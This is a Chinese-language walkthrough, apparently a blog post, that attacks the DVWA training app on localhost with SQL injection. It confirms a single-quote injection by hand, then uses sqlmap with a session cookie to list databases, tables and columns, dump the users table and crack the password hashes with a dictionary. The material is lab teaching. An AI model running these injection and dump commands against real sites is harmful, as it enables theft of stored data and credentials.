DVWA——Sqlmap练习

在DVWA页面中选择 SQL Injection

在这里插入图片描述
一、首先肯定是要判断是否有注入漏洞,在输入框输入1,返回

ID: 1
First name: admin
Surname: admin

在这里插入图片描述
返回正常;

再次输入1',报错,返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near “ 1' “ at line 1

在这里插入图片描述
此时可以断定有SQL注入漏洞且为单引号闭合的字符型注入,下面利用SQLMap进行注入攻击。

二、利用Sqlmap工具:

1、先进行基本的测试

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit" 

-u 参数表示url,指定连接目标

得到提示:

在这里插入图片描述
Sqlmap 得到302重定向到 “ http://localhost:80/DVWA/login.php “。你想跟上吗?[y/n]

根据该提示,可以判断(302重定向)跳转至登录页面,看来需要带cookie,否则可能无法正常执行。

解释:web应用需要登录的时候需要加 cookie参数

不加则如下:

在这里插入图片描述
F12打开控制台,在网络里得到Cookie信息。

PHPSESSID    "lqumo7do6sle0vl4gi7b9qqd57"
security    "low"

M6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzNTMxNjY5,size_16,color_FFFFFF,t_70#pic_center)
加上带cookie参数再次测试:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;sec
urity=low"

得到:

the back-end DBMS is MySQL //后台数据库管理系统:MySQL
web server operating system: Windows //Web服务武器操作系统:Windows
web application technology: PHP 5.4.45, Apache 2.4.23 //Web应用技术: PHP 5.4.45, Apache 2.4.23 
back-end DBMS: MySQL >= 5.0 //后台数据库:MySQL

在这里插入图片描述
发现sqlmap可以跑出数据来了,构造其他语句,继续查取数据。

2、列出数据库信息:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs

--dbs 表示列出目标有哪些数据库

得到8个mysql下数据库名:
在这里插入图片描述

3、获取当前的数据库:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db

--current-db得到当前使用的数据库

在这里插入图片描述
得到:current database: 'dvwa'

即:当前数据库名为:dvwa

4、获取当前数据库下的表:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"

--table -D "xxx" :得到xxx数据库下面的表
在这里插入图片描述
5、获取数据库dvwa下user表的字段:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --columns -T "users" -D "dvwa"

--columns -T "" -D "" 得到数据库下面的表下面的列(columns)

得到:
在这里插入图片描述

6、获取user表里的字段值:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa  

过程中会出现的部分提示信息:

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
您是否要将散列存储到临时文件中,以便最终使用其他工具进行进一步处理

do you want to crack them via a dictionary-based attack? [Y/n/q]
您是否想通过基于字典的攻击来破解它们?

what dictionary do you want to use?
用什么字典来破解?

[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
回车会直接使用第一个

do you want to use common password suffixes? (slow!) [y/N]
您是否要使用通用密码后缀? (慢!)

最终得到:
在这里插入图片描述
至此,DVWA 的Low级别的SQL注入漏洞使用SqlMap工具注入完成。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏